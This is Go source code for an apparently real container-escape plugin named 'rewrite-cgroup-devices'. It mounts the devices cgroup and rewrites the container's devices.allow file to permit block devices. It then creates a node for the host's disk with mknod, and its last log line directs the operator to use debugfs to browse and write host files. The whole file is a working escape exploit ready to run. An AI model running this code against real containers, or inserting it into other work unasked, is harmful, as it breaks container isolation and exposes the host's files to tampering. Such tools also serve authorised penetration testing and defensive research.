// +build !no_rewrite_cgroup_devices

package exploit

import (
	"bytes"
	"fmt"
	"github.com/cdk-team/CDK/pkg/plugin"
	"github.com/cdk-team/CDK/pkg/util"
	"log"
	"os"
	"os/exec"
	"path/filepath"
	"syscall"
)

// plugin interface
type cgroupDevicesExploitS struct{}

var deviceCGroupPath = ""

func (p cgroupDevicesExploitS) Desc() string {
	return "escape sys_admin capabilities container via rewrite cgroup devices.allow. usage: ./cdk run rewrite-cgroup-devices."
}

func fileInode(path string) (inodeID uint64, err error) {
	info, err := os.Stat(path)
	if err != nil {
		return 0, err
	}
	if stat, ok := info.Sys().(*syscall.Stat_t); ok {
		return stat.Ino, nil
	}
	return 0, nil
}

// newDevicesCgroup like "mount -t cgroup -o devices devices /tmp/cdk_dcgroup**"
func newDevicesCgroup(filePreString string) error {

	// mkdir
	var taskRandString = util.RandString(6)
	deviceCGroupPath = fmt.Sprintf("/tmp/%s_%s", filePreString, taskRandString)
	log.Printf("generate cgroup dir: %s\n", deviceCGroupPath)
	if err := os.Mkdir(deviceCGroupPath, os.ModePerm); err != nil {
		return err
	}

	// mount
	var output bytes.Buffer
	cmd := exec.Command("mount", "-t", "cgroup", "-o", "devices", "devices", deviceCGroupPath)
	cmd.Stdout = &output
	if err := cmd.Run(); err != nil {
		log.Printf("error stdout: %s", cmd.Stdout)
		return err
	}

	return nil
}

func findCurrentCgroupENV() string {

	devicesAllowPath := ""
	var rootDeviceAllow = fmt.Sprintf("%s/devices.allow", deviceCGroupPath)

	// find current container cgroup
	inodeID, err := fileInode("/sys/fs/cgroup/devices/devices.allow")
	if err != nil {
		log.Printf("get /sys/fs/cgroup/devices/devices.allow inode error: %s\n", err)
		return ""
	}
	log.Printf("get /sys/fs/cgroup/devices/devices.allow inode id: %d\n", inodeID)

	// the best way to find container id and current cgroup devices.allow
	err = filepath.Walk(deviceCGroupPath, func(path string, info os.FileInfo, err error) error {
		if err == nil && info.Name() == "devices.allow" && path != rootDeviceAllow {
			iid, err := fileInode(path)
			if err == nil && iid == inodeID {
				devicesAllowPath = path
				return nil
			}
		}
		return nil
	})

	return devicesAllowPath

}

func (p cgroupDevicesExploitS) Run() bool {

	// mkdir and mount
	err := newDevicesCgroup("cdk_dcgroup")
	if err != nil {
		log.Printf("run mount -t cgroup -o devices devices /tmp/cdk_dcgroup** error: %s\n", err)
		return false
	}

	devicesAllowPath := findCurrentCgroupENV()
	if devicesAllowPath == "" {
		log.Printf("writeable cgroup devices.allow not found")
		return false
	}
	log.Printf("find cgroup devices.allow file: %s\n", devicesAllowPath)

	// get "virtblk" device ID
	mountInfos, err := util.GetMountInfo()
	if err != nil {
		log.Printf("get mount info error: %v", err)
		return false
	}

	// rewrite and mknod
	err = util.SetBlockAccessible(devicesAllowPath)
	if err != nil {
		log.Printf("set block accessible err %v", err)
		return false
	}

	// use lxcfs_rw exp function by https://github.com/yeahx
	for _, mi := range mountInfos {
		if util.FindTargetDeviceID(&mi) {

			dev := util.MakeDev(mi.Marjor, mi.Minor)
			if dev == 0 {
				log.Printf("Blockdevice Marjor/Minor number invalid.")
				return false
			}

			err = syscall.Mknod("./cdk_mknod_result", syscall.S_IFBLK|uint32(os.FileMode(0700)), dev)
			if err != nil {
				log.Printf("mknod err: %v", err)
				return false
			} else {
				// escape done~
				log.Println("now, run 'debugfs -w cdk_mknod_result' to browse host files.")
				return true
			}
		}
	}

	return false
}

func init() {
	exploit := cgroupDevicesExploitS{}
	plugin.RegisterExploit("rewrite-cgroup-devices", exploit)
}
